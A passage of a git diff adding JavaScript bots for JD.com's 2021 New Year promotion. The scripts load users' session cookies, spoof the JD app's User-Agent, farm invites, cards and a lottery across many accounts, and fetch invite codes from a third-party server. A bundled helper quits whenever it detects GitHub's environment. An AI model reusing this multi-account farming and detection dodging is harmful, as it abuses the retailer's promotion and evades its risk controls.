$.red += parseFloat(data.data.result.currentTimeMoney) + console.log(`合成成功,获得${data.data.result.currentTimeMoney}红包`) + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }, 1000) + }) +} + +function helpFriend(inviteId) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_assist', {inviteId: inviteId}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + console.log(data.data.result.msg) + } else { + console.log(`helpFriends ${data.data.bizMsg}`) + if (data.data.bizCode === -523) { + $.canHelp = false + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `https://code.chiang.fun/api/v1/jd/year/read/${randomCount}/`, + 'timeout': 10000 + }, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +function sendCard(cardNo) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_sendCard', {"cardNo": cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + receiveCardList.push(data.data.result.token) + console.log(`送卡成功`) + } else { + console.log(`送卡失败,${data.data.bizMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function receiveCard(token) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_receiveCard', {"token": token}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + console.log(`领卡成功`) + } else { + console.log(`领卡失败,${data.data.bizMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(async resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDNY_SHARECODES) { + if (process.env.JDNY_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDNY_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDNY_SHARECODES.split('&'); + } + } + + if ($.isNode() && process.env.JDNY_SENDACCOUNT) { + if (process.env.JDNY_SENDACCOUNT.indexOf('\n') > -1) { + sendAccount = process.env.JDNY_SENDACCOUNT.split('\n'); + } else { + sendAccount = process.env.JDNY_SENDACCOUNT.split('&'); + } + } + + if (sendAccount.length) + console.log(`将要送出卡片的是账号第${sendAccount.join(',')}号账号`) + + if ($.isNode() && process.env.JDNY_RECEIVEACCOUNT) { + if (process.env.JDNY_RECEIVEACCOUNT.indexOf('\n') > -1) { + receiveAccount = process.env.JDNY_RECEIVEACCOUNT.split('\n'); + } else { + receiveAccount = process.env.JDNY_RECEIVEACCOUNT.split('&'); + } + } + if (receiveAccount.length) + console.log(`将要领取卡片的是账号第${receiveAccount.join(',')}号账号`) + + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_newYearMoney_lottery.js b/activity/jd_newYearMoney_lottery.js new file mode 100644 index 0000000..3177432 --- /dev/null +++ b/activity/jd_newYearMoney_lottery.js @@ -0,0 +1,256 @@ +/* +京东压岁钱抢百元卡 +活动时间:2021-2-1至2021-2-10 +活动入口:京东APP我的-压岁钱 +活动地址:https://unearth.m.jd.com/babelDiy/Zeus/22uHDsyHntidZV9tpwov2hrUUvmb/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东压岁钱抢百元卡 +0 0 9,12,16,20 * * * jd_newYearMoney_lottery.js, tag=京东压岁钱抢百元卡, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 0 9,12,16,20 * * *" script-path=jd_newYearMoney_lottery.js, tag=京东压岁钱抢百元卡 + +===============Surge================= +京东压岁钱抢百元卡 = type=cron,cronexp="0 0 9,12,16,20 * * *",wake-system=1,timeout=3600,script-path=jd_newYearMoney_lottery.js + +============小火箭========= +京东压岁钱抢百元卡 = type=cron,script-path=jd_newYearMoney_lottery.js, cronexpr="0 0 9,12,16,20 * * *", timeout=3600, enable=true + */ + +const $ = new Env('京东压岁钱抢百元卡'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdNian() + await showMsg() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdNian() { + try { + await lotteryHundredCard() + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function lotteryHundredCard() { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_lotteryHundredCard'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + message += JSON.stringify(data) + } else { + console.log(data.data.bizMsg) + message += data.data.bizMsg + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function showHundredCardInfo(cardNo) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_showHundredCardInfo',{cardNo:cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data) + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function receiveHundredCard(cardNo) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_receiveHundredCard',{cardNo:cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data) + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else 